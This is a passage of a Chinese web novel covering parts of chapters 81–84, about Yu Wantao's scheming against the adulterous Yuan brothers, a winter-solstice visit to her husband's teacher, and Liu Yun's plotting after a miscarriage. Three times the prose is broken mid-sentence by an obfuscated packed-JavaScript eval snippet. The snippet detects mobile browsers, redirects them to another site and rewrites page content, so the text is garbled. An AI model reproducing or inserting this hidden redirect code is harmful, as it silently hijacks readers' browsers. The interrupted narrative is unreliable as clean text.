宝盻在前面引路，二人一道上了元府的马车。 车厢里，余晚桃一再追问下，宝盻才小声道出真相：“是三少爷和六少爷在外面养共妾的事被少奶奶知晓了，二人发生了这口角，少奶奶气血攻心，导致小产了。” 这事在元府里闹开了，底下的人却噤若寒蝉，不敢搬出来议论，这也是在外头，宝盻才敢小声说。 这事一闹出来当家主母便勒令府里所有的下人们都把嘴闭严实，有些个话里聊了两句的洒扫下人，被压在院子里打了几十大棍子，以作警告。 府里气氛一下沉得可怕。 余晚桃踏入元府时，便嗅到了一股不对劲，她径直往云姐儿的院子去，迎面便撞见元修己拂袖而出，怒气冲冲地砸上房门。 两人远远对视。 余晚桃冷笑，连基本的体面都懒得维持，毕竟这人做的事，狗听了都得摇摇头，哪里还有什么体面。 “余娘子来了？”，元修己掸掸袖子，眉宇间甚是不耐烦：“既来了便好好劝一劝云儿，明知自己小产了却还总耍些小性子糟践自己的身体。” 余晚桃嗓音冷淡：“元公子可莫要同云姐儿置气，云姐儿想来也是被些腌臜东西冲撞到了，才会言行无状，千错万错都是那不长眼的腌臜货的错，该遭阉割的玩意，迟早叫野狗咬断了才好。” 余晚桃在指桑骂槐，元修己也不傻，自然听出了她的阴阳怪气，当下脸色更阴郁，甩袖离开了院子。 余晚桃兀自在院里站了半响，才推门进房里去，甫一进去，便闻到浓重的药味，她越过屏风，与刘云投过来的目光撞个正着。 刘云面色惨白，原来珠圆玉润的脸蛋如今消瘦了一圈，眼底还酝着团青黑，看着很憔悴。 “晚桃姐姐，你来啦。” “上次我们便算断了情谊，想不到你这朝还会过来探望我。” 刘云说话间，挣扎着坐了起来，她抬起手背擦去眼泪的湿痕，朝余晚桃露出一个难看的笑脸。 余晚桃心里复杂难辩，她叹气道：“何苦这般折腾自己的身子，不值得。” 刘云点头：“是不值得。” 她接着轻声说道：“所以，我们来合作吧。” 余晚桃见她瞬间狠下来的眼神，眉头不自觉皱了起来。 此刻房外，宝盻守在廊柱下将自己团在厚厚的棉服里，耳朵时刻警惕着一门之隔里的动静。 过了许久，却突然听到房内响起一道茶盏碎裂的声音，余晚桃的嗓音也陡然抬高，教外头守门的宝盻听得分明。 “云姐儿，你竟能说出这样无耻的话来！原还怜惜你小产了身体不好，过来探望你，如今竟想让窈儿入府，替你笼络你夫君的心。” “窈儿是我妹妹，你休想糟践她，往后我们也不必再来往了，就当从前的情谊都喂了狗！” 余晚桃怒气冲冲地出来，狠瞪了宝盻一眼，方才离开。 宝盻迷茫地眨眨眼，急忙跑进房里，却见自家主子捂着心口剧烈咳嗽，被褥上竟咳出了一口血了，她吓得扭头就跑去喊大夫。 徐元氏很快得知消息，过来后质问宝盻，宝盻战战兢兢的，将听到的话都说了出来。 明了原因，徐元氏拧着眉，呵斥病榻上的刘云，“你怎就糊涂至此，哪有上赶着给自家夫君抬小妾进门的。” 刘云垂泪，委屈道：“那要怎么办？母亲，夫君他心不在我这，与其让他总这样在外面胡来叫人捏着错处把柄，不如寻个我自己信任的安排在院里，这样起码不会与我作对，我也能安生些。” “云儿，我知道三小子这次是做得过分了。”，徐元氏说不出重话，那毕竟是她自己的亲生儿子，可这次三儿媳小产，她儿子确实是罪魁祸首。 兄弟共妾的事到底不体面，她作为元府主母，只能尽力遮掩。 徐元氏温和道：“修己行事确实风流了些，可眼下嫡子未出世，你进门也没满三年，抬妾室进门的事过不了老夫人那关，你往后莫要再说此事了。先养好身子，等来日生下嫡子，修己的心自然会回到你这。” 刘云嗤笑了一声，随后乖巧地应了好，她可是徐元氏最中意的儿媳，怎么能违背婆母的教导呢。 - 余晚桃从元府离开后，便乔装打扮去了元家两兄弟相好的那小院，叩响院门，静静等着里面的人出来。 待院门开了，她立刻露出一副惊慌失措的神情，迅速自报来路：“问娘子安，我是六公子院里的丫鬟，他差我过来传话，说元府主母已经知道了您的存在，正打算将您发落去烟柳之地，让您快些逃命去。” 絮娘子乍然听到这番话，先是一慌，随后不甘心地咬牙骂起来：“他元家是甚么意思？将我好好一个青白人家糟蹋了，便想随意打发走？” 余晚桃一脸沉痛：“娘子误会了，六公子是十分舍不得您的，可眼下三少奶奶因着您这桩事都小产了，主母焉能饶过你。” 她见对面的人脸色难看下来，话锋一转，似不经意间叹了一声，惋惜道，“可惜了，如果这事闹大了，元府碍于名声，说不定会让你进六公子的院，可眼下有主母压着消息，也只能先委屈娘子您了。” 絮娘子冷笑：“想就这吆打发了我，做她白日梦去！” 元府那样官宦人家的好日子，谁不想过？哪怕是当个妾室，都能穿金戴银，有一众丫鬟小厮伺候着，絮娘子本就是奔着入元府的门，才去勾搭那两兄弟，此时自然不会乖巧认命。 看絮娘子闪着算计的眸子，余晚桃便知晓事情成了。 余晚桃回去后，将那套乔装的衣物烧了，又去铺子前头待了一阵，同客人们闲聊，露了脸得人记住才回家去。 院里堆了好几个歪七扭八的雪人，还有雪捏的碗，里面盛着圆溜溜的雪汤圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466634|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大老远的，余晚桃便听到厨娘在后头嚷嚷。 “余小娃！这甚么天气你还穿个薄棉衫在雪地里打滚，看我不收拾你！” 厨娘抡着擀面杖追出来，余小娃猴子似的东躲西藏，真就穿着薄薄一层棉衣在雪地里滚了个满头大汗，厨娘在后头追得气喘吁吁的。 这小汉子，身量是长得愈发健壮了，浑身上下透着使不完的牛劲，总感觉这么放家里当个打杂的小厮拴不住这小汉子的野性。 等明年开春，得寻个武馆扔过去，学身好武艺，将来也能有个傍身的本事。 “东家！”，乱窜的余小娃就这么撞到了余晚桃跟前，急忙停住，后背结结实实挨了厨娘一擀面棍。 余小娃面红耳赤，老实地站着。 厨娘拎着他耳朵朝余晚桃告状：“东家，你瞧瞧这小子野得很，衣服不穿就出来捏雪玩，往我那灶台上摆满了雪捏的汤圆，我一烧灶雪就全化了，搞得东一摊水，西一摊水的，收拾老半天。” 余晚桃故作严肃，“那是该打。” 余小娃擦了一把额头的汗，垂着脑袋老老实实认错。 见这小子蔫蔫的，余晚桃眼里闪过笑意，对厨娘说：“快到冬至了，小娃许是想吃汤圆了呢，回头购些食材回来，教他吃个肚圆。” 厨娘先是努嘴，而后笑起来：“我还能短了他吃喝不成，这小汉子平时吃得多饿得快，看这身量，才十三四岁就快赶上主子了。” “小娃这身板是个练武的料子。”，余晚桃笑着说：“等明年开春，给你寻一个武馆去学本事吧。” 余小娃闻言眼睛蹭地发亮，显然十分高兴，他嘿嘿笑了笑，立刻拍着胸脯保证：“等我学会本事就可以保护东家了！” “那可要认真学。” “是！” 余小娃欢天喜地地应了声，扭头扎进了雪堆里，滚来滚去的，厨娘见状眼皮子猛跳，追着又打过去，院子里鸡飞狗跳的。 说来冬至将近，书院里也该放假了。 余晚桃将今年的账目都过了一遍，发现账上已经有了近三千两的余银，这还是刨除了成本之后的纯盈利，看着上头的数目，身家颇丰。 等明年府城的铺面走上正轨，盈利估计还会翻倍不止。 账上有了银子，余晚桃心里美得紧，趁着临近冬至，让厨娘那边采买了食材回来发过节礼，每位绣娘都能领一只猪腿并两条五花肉，还有一大包汤圆。 发过节礼这天，工坊里热闹得紧，绣娘们排着长队，眼睛直勾勾盯着前头已经领到了节礼的娘子，笑得满脸通红。 “得亏当时来报名了，这华纱庄给的工钱高，伙食也好，天冷了能添炭火，这朝过冬至，发的节礼是真大方哩！” “瞧那猪腿可真大，拿来炖萝卜最合适了。” “我不少亲戚都过来打听呢，说也想进庄子做工，可惜眼下庄子不缺人手，她们可悔得肠子都青了。” “快别聊了，到咱了！” 领了过节礼，绣娘们大摇大摆地出了庄子回家去，让好些当时怕闹鬼而背地蛐蛐庄子的妇人们眼热不已，看人家做工红光满面的，都纷纷托人去打听，想寻门路进庄子。 82. 第 82 章 冬至这日，连日大雪的天儿终于见了晴。 外面天寒地冻的，屋里却烧着地暖，刚从被窝里起来的余晚桃面颊红扑扑的，睡眼惺忪，由着崔玉棠摆弄她，给她穿衣梳发。 崔玉棠伺候起自家娘子来得心应手，期间还不忘贪一口香，“昨日便说好了，今日要去给老师拜节。” 余晚桃捂着被偷袭的脸颊，瞪了书生一眼，她自己拧湿巾子，擦了脸颈，才敷上霜膏，霜膏带着淡淡的一股竹香，与崔玉棠身上因为写字而常年沾染的墨香有些相似。 “这霜膏味道还挺好闻的。”余晚桃嘀咕。 崔玉棠径自去取了条兔毛缝制的围脖下来，给余晚桃绕了两圈，雪白的兔毛绒绒的，衬得她脸蛋愈发红润，一双眸子笑意盈盈的，娇俏得很。 余晚桃给自个系好披风带子，崔玉棠自然而然地牵过她的手，出了房门，走在前面替她挡着冷风。 到了偏堂，早起的人已经吃上了热乎乎的汤圆。 芝麻花生馅的汤圆，个个雪白，滚在热汤里裹着白色的雾气，一口咬下去甜滋滋的，里面的芝麻和花生碎的香气混合着迸发在口腔里，软软糯糯的口感，一点都不腻。 余小器烫着吃，汤圆在嘴里又重新炒了一遍，瞥见两人过来，囫囵咽下去后张着嘴巴哈气，嚷道：“好烫啊！” 窈儿动手给余晚桃和崔玉棠各舀了一碗汤圆，闻言没好气道：“叫你慢些吃了，又没人抢你的，作甚这般狼吐虎咽的。” 余小器瞪眼：“窈儿姐你是没瞧见，小娃已经吃上第三碗了！” “……”窈儿盯了埋头吃汤圆的余小娃一眼，也纳闷：“不烫吗？” 余小娃从碗里抬头：“不烫啊。” 余小器有被气到，端着碗远离他，不服输的又给自己舀了一大碗，他也要吃三碗！ “舀了进碗里的可要吃完。”，余晚桃捧着碗暖手，给汤里加了一勺桂花蜜。 她不经意往旁边瞥了一眼，就见崔玉棠面不改色地给自己加了一勺油辣子。 “？” 余晚桃一言难尽地挪开视线。 用过早食，二人提着礼上了马车，往曲府去。 曲府门头极为富贵，在东大街上占据大片繁华地段，但府上却没什么下人，安安静静的，就连门房都是一位上了年纪的老翁，瞧着有些凄凉。 余晚桃一路进来，小声问崔玉棠：“你老师真的是儒士吗？” 大魏的儒士不都是两袖清风的清高文人？怎么瞧着这位还挺会享受的。 崔玉棠闻言便笑了下，说：“老师向来节俭朴素的，不过听闻他有一孙儿是经商的，有些本事，给老人家置办了这处家宅，安享晚年。” 余晚桃脸色变了变。 姓曲，颇有本事的经商孙儿。 这府城曲姓应该也没泛滥到如此地步。 这般想着，便到了正堂。 竹帘子厚厚挡着外面的风雪，正堂内暖意融融，显然是烧着地暖，一披着银白大氅的儒雅老者安详坐在铺了毯的檀木高把椅上，眯着眼睛昏昏欲睡。 曲府管家将两人引进来，弓着腰小心翼翼地上去禀告：“老爷，崔公子携家眷前来给您拜节了。” 曲山南闻言悠悠睁眼，“快到跟前来。” 崔玉棠将带来的节礼放到一边，走上前去将他扶起来，而后端端正正地给人拱手，行了学生礼。 “老师，这是内子晚桃。” “曲老先生好，今儿冬至，二郎心中挂念着您，赶早起来带着节礼过来看您呢。”，余晚桃声音清脆响亮，带着朝气，像是在沉闷的正堂里炸开了一般。 天气冷了曲山南不怎么爱动弹，学生们来送了礼便走，他一个老头子也不爱热闹，因此府里冷清得很，余晚桃这一把嗓子把曲山南给喊精神了。 他眯着眼睛打量站在自己学生身边的小娘子，怪声道：“原来如此。” 余晚桃疑惑地“嗯？”了一声。 曲山南摇头，抬抬手道：“既然礼送到了就回吧，大雪天里可不兴串门。” “不急，我陪您说说话，我也有一些问题想要向老师请教。”，崔玉棠牵着余晚桃坐下，丫鬟们很快上了一壶热茶和几个汤婆子。 余晚桃拎了个汤婆子过来抱着暖手，翘着腿，在崔玉棠和曲山南说话时闲着吃茶，嗑瓜子，一个没留神前面已经堆了一盏子的南瓜子仁。 她拍拍崔玉棠的胳膊，把磕好的南瓜子仁一股脑塞给他，自己转而去剥小橘子吃。 崔玉棠给她倒了杯热茶。 曲山南见小夫妻俩的相处，便想到了自己早逝的儿子儿媳，也是这般恩爱情深，奈何命薄，早早去了，只留下一个年幼的孩子。 他心中感慨，怅然失落。 也是巧，曲山南这般想着，管家就高兴地奔进来，说小少爷回家来了。 曲山南胡子抖了抖，冷声道：“整日没影的混东西，还知道回家里来。” 曲府的小少爷。 余晚桃朝门口看去。 一阵清脆的玉石碰撞声响起，紧接着竹帘被掀开，或许是因为来人步伐太快，卷进来了不少风雪，冷意呼啸间，曲屠松懒的嗓音里带着一丝惊讶。 “家里有客啊。” 曲屠解了披风随手扔开，笑吟吟地径自在一旁坐下，翘着腿，给自己倒了一盏热茶喝。 丫鬟进来将地上的披风捡走，低着头退了出去。 曲山南没好气地怒视着他：“腿放下来，看你这二流子的德行像什么样子，丢人现眼。” 曲屠无所谓道：“都是自己人，有什么好丢脸的。”，说罢，他朝余晚桃抬抬下巴，“是吧，余东家。” 余晚桃收起了闲适的姿态，语气里带着些惊讶，笑道：“想不到曲会长竟是曲老先生的孙儿。” 曲屠支着下巴轻笑。 余晚桃是没看出他眼里的笑意有几分真实，她提起了几分警惕的心思，曲屠此人，太危险。 “想不到崔秀才竟是爷爷的学生，也算是缘分，等会可别急着走，今儿我这得了两坛子好酒，正好温了，与崔秀才小酌几杯。” 崔玉棠淡然道：“在下不胜酒力，恐要辜负曲公子好意了。” 曲屠闻言也不恼，反而更加热情地邀请：“不胜酒力就浅酌几口，只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472061|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔秀才肯赏脸即可。” 崔玉棠的态度依旧。 曲屠盯着他，半响后挪开了视线，像是终于放弃了邀他吃酒的想法，陪着笑脸逗了会老人家。 曲山南到底上了年纪，没多久便要去午歇了，临走前紧要叮嘱了孙子将客人招待好，留中午吃了午食再走。 崔玉棠可以坦然地回拒曲屠，却没法子拒绝老师的好意，他点头应了，起身对曲屠拱了拱手，算是打过照面。 “崔秀才是容县人？”，曲山南一走，正堂里气氛便僵硬许多，不过曲屠浑然不觉的样子，依旧自来熟地与对面二人搭着话。 崔玉棠眸色不变：“崔某容县大桑村人士。” 曲屠挑眉：“说起来我与姓崔的倒真是缘分不浅，先是在前同知崔海一案里受了牵连，最近又听闻了一些流言，我是真有些苦恼啊。” “甚么流言，能让曲会长也苦恼？”，余晚桃将拨开的橘子皮扔脚边已经熄灭的炭火盆里，随后慢条斯理地拿手绢挡着，掰了一瓣放嘴里，细细品着。 曲屠也拿了一个橘子过来剥皮：“听说崔海贪污的官银有一批换成了宝物，藏在了崔家老宅里，当时去查抄崔家老宅，却是什么都没找出来，后来更是一把火烧没了。” “外头都在传那宝物，是被崔海给了族里某个子弟藏起来。” 余晚桃啧笑道：“当时官府来查抄，可是连件衣裳都没留下，府城里谁不知道二郎与崔家的事，但传的无非是一些不痛不痒的流言，何时说过甚么宝物了？” 曲屠耸肩，“传言如此，到底有没有，就只崔秀才自己知道了。” 惯会阴阳怪气。 余晚桃装都懒得装，直接朝人翻了个白眼，扭头对着崔玉棠，抬高音量，更加阴阳怪气地说：“我整日在市井里做生意都没听到这些谣言，曲公子却知道得如此详细，想必是费了心思打听的，不管真假，光是冲着曲公子这份勤谨，都该谢谢人家。” 崔玉棠认真点头，受教了，正正经经地给人作揖，“此番多谢曲公子了，只是宝物什么的皆是谣言，还望曲公子能帮忙澄清一二。” 余晚桃埋怨：“也不知是谁造的谣，真是个嘴里吐屎的臭玩意，若见我知晓了是谁，非撕了他的嘴不可。” 崔玉棠：“阿桃，讲话要文雅些。” 两人搭着腔，将曲屠晾在一边，可话里赶话，聪明着的人都能品出不对劲来。 曲屠脸色有些复杂。 他的目的昭然若揭，可对面两人却装傻充愣，想到毫无头绪的任务和上面的命令，曲屠心情烦躁，神色更是阴郁。 “不好意思啊曲公子，我是村里出来的，说话比较粗俗，让你见笑了。”，余晚桃仿佛后知后觉般，反应过来自己说话太粗俗，红着脸给人告歉。 曲屠的指骨咔嚓响了一声，他笑着说：“无妨，余东家性情中人，二位不如移步到偏厅，我们边吃边聊。” 饭自然是要蹭的。 余晚桃淡定地拿绢帕擦了擦手，摸着有些撑的肚子，觉得自己应该有进步的空间。 崔玉棠眼里闪过一丝无奈，俯身低声劝她：“莫要勉强。” 83. 第 83 章 余晚桃自然不会给自己找难受，在曲府席宴上东挑西拣的吃了一些，心里算着时辰差不多了便掩着唇咳嗽，虚弱地靠在崔玉棠身上。 崔玉棠揽过她肩，对曲屠告歉：“内子体弱，许是寒天出门受了些风寒，恐不能久留了，请曲公子给老师转告一声，勿要怪罪。” 曲屠体贴道：“既是如此，那还是快些去医馆看看吧，这时节受了风寒，可有得难受。” 他让下人取了桐木伞来，亲自将人送到府外，目光随着那缓缓离去的马车，站在雪地里，如一樽玉佛，可转身的瞬间，却沉了脸色。 余晚桃身子不适自然是假的，上了马车，她便坐正了，神情凝重道：“曲屠这个人，一直在打探崔家的事。” 偏偏崔玉棠又拜了曲山南为老师，这关系想撇都撇不清，以后少不得碰面。 崔玉棠眉头深锁，脑海里某些记忆闪回，无法捕捉，但那一闪而过的画面却让他觉得十分熟悉。 他不着痕迹按了按眉心，说：“我回书院里托人查一下曲屠。” “算了，如今也不知他到底是何目的，只能先防备着。” 不再想曲屠的事，余晚桃从车厢的收纳格里取了罐盐渍梅子下来，捻一颗放进嘴里，含糊道：“方才吃的橘子还挺甜的，回头我们自己买几筐回来。” “吃多了仔细上火。”，崔玉棠道。 城内大道平坦，车厢稳当着，崔玉棠干脆取了纸笔出来，铺在矮案上临摹文章，他的字已自成风骨，一钩一画，劲中带柔，一如他内敛温和却不失傲骨的性子。 余晚桃对字研究不多，她自己也能写一手规规矩矩的簪花小篆，不过这会瞧着书生的字，比她的豪气多了。 她撑着下巴看书生临摹文章，眼皮子慢慢合上，身子也愈发凭着本能靠近，不知何时，已然靠在崔玉棠肩膀上睡了过去。 崔玉棠一手绕到背后托着她，一手继续握着笔，看似稳当，落墨却小心了许多，生怕动静过大，惊醒了枕在他肩膀上休憩的娘子。 冬至一过，崔玉棠便又要踩着雪去书院，他起得早，街上厚厚的积雪都还未被铲开，马车赶上去一准打滑，为了安全，只能走着去书院。 幸而离得不远，走路过去倒也不费甚么功夫。 余晚桃罕见的早起了，与窈儿到早市里寻找合适的铜丝铺子。 赶集日街道两侧摆满各种摊子，摊贩们的吆喝声和各种买卖的砍价问价声撑起了热闹的早市。 两人吃了一顿热乎乎的肉片汤，慢悠悠逛着，采买完铜丝之后便准备回去，却见不少百姓推搡着往东大街跑。 东大街是富贵老爷和官员们的府邸，平时没什么事甚少有百姓往那边走动的，窈儿纳闷道：“这是出了什么事？” 余晚桃：“我们跟去瞧瞧，凑个热闹。” 说不定有瓜吃。 窈儿素来不爱凑热闹，不过既然余晚桃说了，她便应声，跟着往东大街走，待到了东大街才发现，百姓们都围在了元府门口，远远的还能听到女子的哭声。 余晚桃向旁边看热闹的百姓问了起来。 “这是怎么回事？” “还能是咋回事，元家两兄弟和养在外面的女人搞破鞋被人撞见了呗。” “怎么是两兄弟？我听说就是元六郎啊。” “你这就不知道了吧，被人逮见的时候，那两兄弟正和絮娘子光着身子在一个被窝里呢。” “啧啧，真是世风日下，道德败坏，两兄弟感情好到能钻一个女人被窝里去。” “听说元三少奶奶才小产，没准这里头有事呢，也真是可怜。” 百姓们议论纷纷，元府下人倾巢而出都赶不走，这丑事实在闹得大，元家两兄弟被下人护着送回了府，可絮娘子名声却全然没了，她追着元家两兄弟扒到元府大门口，哭诉着自己的委屈。 “我好好的一个良家女子清白已毁，元家若是不肯负责，我只能撞死在这，好教老天爷瞧瞧，元府家大业大，是如何欺辱一孤苦无依的女子。” “我也不求正妻的名分，当个妾室也好，通房也罢，只求元家让我进门，给条活路罢了。” 絮娘子哭得声嘶力竭，又是一弱女子，虽行为教人不齿，可这模样实打实有些可怜。 人性都会倾向于弱势的一方，元府势大，自然有人联想到是元家兄弟强迫了那絮娘子，现在事情暴露，要置絮娘子于死地了。 絮娘子仍在哭哭啼啼，在围观百姓义愤填膺之时，元府里终于来人了。 一群丫鬟嬷嬷簇拥着徐元氏走出来。 徐元氏威势甚重，目光一扫，围观百姓们的议论声便小了许多，絮娘子心里慌了慌，不过为着后半辈子的富贵生活，还是硬着头皮继续哭。 “来人，将絮娘子扶起来。” 徐元氏声音不大，但落下的瞬间周围便安静了。 一嬷嬷得令走下台阶，面容和善地将絮娘子扶起来，并对她说道：“娘子莫怕，若真是府上六郎欺负了你，教你受委屈了，你只管与夫人道来，她自会为你做主。” 絮娘子抬袖擦了擦眼泪，有些惴惴不安地看了一下上面的元府主母。 徐元氏声音亲切，温和劝哄：“嬷嬷说得对，你若有委屈，且先进府来与我说。” 絮娘子被徐元氏脸上亲切的笑容迷惑了片刻，在嬷嬷的搀扶上往石阶上走，可在最后关头，却不知为何停住了脚步，她此时距离对方不过几步之遥，再看那笑意，竟比覆头的大雪还要冷。 她陡然清醒，一把推开那嬷嬷往后退，颤着声音，咬牙道：“若我真信了夫人的话，就这么进了元府大门，恐怕死了都不会有人知晓吧。” 絮娘子愈发笃定自己的猜想，这些高门大户里的龌龊手段不少，她不是傻子，会这么任人摆布。 她大声道：“若要我进门，除非夫人当着众多百姓们的面允诺，抬我为元府六郎的侧室。” 徐元氏脸上笑意淡了：“元家门第，哪怕是个妾室都得是清贵之流，以你的身份，连当妾都不够格，如何能当侧室？” 絮娘子破罐子破摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14479880|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“那我便跪去文大人府上，求文大人为我做主，今日江南府百姓皆知元家公子要了我的清白，证据确凿，夫人既知元家门第清贵，应该也不想元家以后成为百姓们茶余饭后的谈资吧。” “我只求一个名分，以后定安安分分地伺候六郎，为六郎生儿育女，为元家开枝散叶，还望夫人成全。” 絮娘子说了狠话后，又放低了姿态，直挺挺地对着徐元氏跪了下去，手背合起贴在额处，深深俯趴在石阶边。 “我只问你，今日衙役巡逻，是发现了你与六郎的奸/情，那三郎为何在？”，徐元氏从台阶上走了几步，来到絮娘子前面，居高临下打量着她，而后突然解了肩上的云锦披风，披到絮娘子背上。 “莫要冻坏了身子。”，她循循善诱着，亲自将人从地上扶起来。 絮娘子身子猛然一顿，福至心灵，果断道：“是六郎与我情投意合，相约着互诉衷肠，三公子发现了我与六郎私底下相会，今日是过来劝说六郎回家的。” “三公子与我并未有任何逾矩之处。” 絮娘子刻意抬高了音量，让好些围观的百姓都听到了她的话，不少人低声议论起来。 “就说嘛，这是元六郎和絮娘子的事，三公子再风流，也不会有此等兄弟共妾的龌龊之举。” “不是说有人亲自瞧见了吗？” “谁知道，指不定乱传的，人絮娘子都自己说了，还能有假。” 余晚桃在旁边听得真真切切。 徐元氏真不愧是当家主母，这么快便想出了对策，由絮娘子亲自澄清，把亲儿子摘出去，让二房的元六郎出来顶这次的风波。 就是不知道她这行径，到时候怎么和元家二房那边解释了。 徐元氏扫了絮娘子一眼，满意道：“你与六郎既情投意合，我也不好棒打鸳鸯，受你们这些小辈的埋怨，便依着妾礼，入六郎院里伺候吧。” “妾——”，絮娘子话音未落，却突然接触到徐元氏冰冷的眼神，她抓紧身上的云锦披风，不甘心地认下了妾的身份。 当妾就当妾，等进了门，她总有法子傍住元六郎的心，到时候再生下几个儿子，母凭子贵，想要抬到侧室也不是没可能。 · 虽暂时解决了絮娘子，但此刻元府里并不太平。 二房的夫人和元六郎的生母方姨娘，两个平时勾心斗角的人，此刻站到了一起，气势汹汹地来找徐元氏算账。 元二夫人愤然道：“大嫂你怎能如此自私！明明是三郎和六郎一起闹出来的事，却全推到我们二房头上来，让我们二房颜面尽失！” 方姨娘更是生气：“夫人也太偏心了，将自己的亲儿子摘了出去，臭名声全让我们六郎担了，这府城里，书院里传得沸沸扬扬的，六郎还未娶妻呢，以后哪家姑娘还敢来说亲。” 徐元氏勃然大怒，将主桌上一套青瓷茶盏挥到地上，砰地一声，发出瓷器碎裂的声响，四绽的碎片飞到方姨娘的手背上，划了一道长口，顿时鲜血涌出。 方姨娘尖叫起来。 84. 第 84 章 元府里闹得正厉害时，刘云终于能下地走动了，宝盻扶着她，在房里慢慢走着，半刻不敢放松心神。 小产后又大病一场，到底伤了根子，刘云整个人瘦了一圈，饶是穿着厚厚的冬衣，身形都比从前薄了许多。 宝盻心疼道：“主子瘦了许多，咱院里月例还有些人参和燕窝没领回来，赶明我就去库房领了，让小厨房炖上，给主子补身体。” 刘云脸上多了些血色，来到窗边，借着小缝隙看外面雪茫茫的院，问：“前面闹成那样，公爹没管吗？” 宝盻小声道：“老爷下值回来大发雷霆，将三少爷和六少爷斥责了一顿，二位少爷在祠堂里跪了好久呢。而方姨娘说是受了伤，哭到老太太面前告状去了。” 刘云勾起嘴角，露出讽刺的笑意：“方姨娘是该哭去老太太那告状的，我们和二房的关系本就紧张，母亲爱子心切，今日此举实在有失偏颇，往后怕是家宅不宁，和二伯那边矛盾渐重。” 大家子都住在一起，焉能没有矛盾，只是各自忍着，维持表面的平和，眼下徐元氏，却把这平静的表面打破了。 “那絮娘子听说是要纳进来了，不过进的不是咱的院，是六少爷那边的。”，宝盻说话时忍不住鄙夷，她没好气道：“三少爷这次实在做得太过了。” “宝盻，这话在我这说说便是。”，刘云提醒她。 宝盻点头：“知晓的，少奶奶对我好，宝盻只是为您不值，盼了许久的小主子就这么没了。” 刘云抬手摸向腹部，那里曾有她的孩儿，是她千盼万盼来的，可是也只活了二三月，就没了。 思及此，她覆在腹部的手缓握成拳，眼里迸射出浓郁的恨意，须臾骤然松开，脸上荡起一抹笑意。 她对宝盻说：“你想离开元府吗？” 宝盻垂着眼，迷茫摇头：“我不知道，离开了元府，该怎么活？” 宝盻很小便被卖到了元府当打杂丫鬟，后来长大了些，因着相貌还算可以，被提到了墨院给三少爷当通房。 奴才没有乐不乐意的想法，宝盻在墨院的时候就一直被宝顰欺压，日子过得辛苦，后来新少奶奶进门，将她索了去贴身伺候，才好过了许多。 刘云掸了下她额头，笑着说：“你懂刺绣，若真有那一日，我便把你介绍给晚桃姐姐，跟着她做事，日子总不会太难过的。” 宝盻不解：“可那天你们不是……” “你以为我们吵架决裂了？”，刘云望着院外，声音讽刺：“元修己算什么东西，值得我舍弃姐妹情谊。” “我记得小厨房里温着鸡汤，你去吩咐厨娘盛一些装食盒里，我们去一趟墨院。”，刘云声音冷淡。 宝盻：“去墨院作甚？” 刘云：“出了这档子事，夫君心情应该正失落着，我作为正妻，怎能不去安慰一二。” 宝盻虽是不懂自家主子怎么要这时候往墨院那头去，但还是领了命，出了房门往小厨房去。 刘云身子弱，披着厚实的大氅一路到墨院里走得极慢，她进来时，正碰见元修己怒不可遏地将书房里的东西砸出来，门口跪了一排的丫鬟。 她挥挥手让小丫鬟们退下，自己提着食盒推门进去，刚踏入内脚边便砸过来一方砚台。 “让你们滚出去了没听到吗！” “夫君何必如此动怒。”，刘云弯腰拾地上有了裂痕的官制砚台，几步来到书案前，声音温柔道：“左右事情已经发生了，再为了这些事气坏自个身子多不值当。” 见是自己夫人进来，元修己怒至狰狞的面孔扭曲了一下，随即收了戾气，没甚耐心道：“你不是刚小产身子不爽利吗？这么冷的天怎么出来了。” 刘云将提过来的食盒打开，一边盛鸡汤，一边低声劝说：“云儿身子已好了许多，这些时日也自省了，自知实在不该将失去孩子的痛苦迁怒到夫君身上，所以一听闻出事，便忍不住想过来看看夫君。” 元修己在外虽风流，但心中到底也是尊重自己的正妻，况且刘云如今这般，就与刚成亲时那样，温柔小意地哄着他说话，实在令人舒心。 妻子主动放低身段求饶，元修己也没有再端架子，他挽过刘云的手，笑着说：“云儿能想开就好。” 刘云垂眸，将自己的手抽出来，端了那碗鸡汤过去：“夫君喝着鸡汤吧，前院的事我也知晓了，全然是六弟不知廉耻，在外养妾无媒苟合，却连累了夫君，委实不该。” 元修己闻言脸色诡异地僵了僵，不过很快舒缓下来，苦恼道：“确实，六弟这次过分了，惹父亲发了好大一通火，书院里都快岁考了，可我眼下连门都出不去。” “没事，夫君喝了鸡汤且去歇歇。”，刘云说着话，便亲自替人收拾起凌乱的书案，轻笑道：“岁考关乎夫君前程，可耽误不得，明日我去祖母那替夫君求情，有祖母开口，纵是父亲也不敢违背的。” 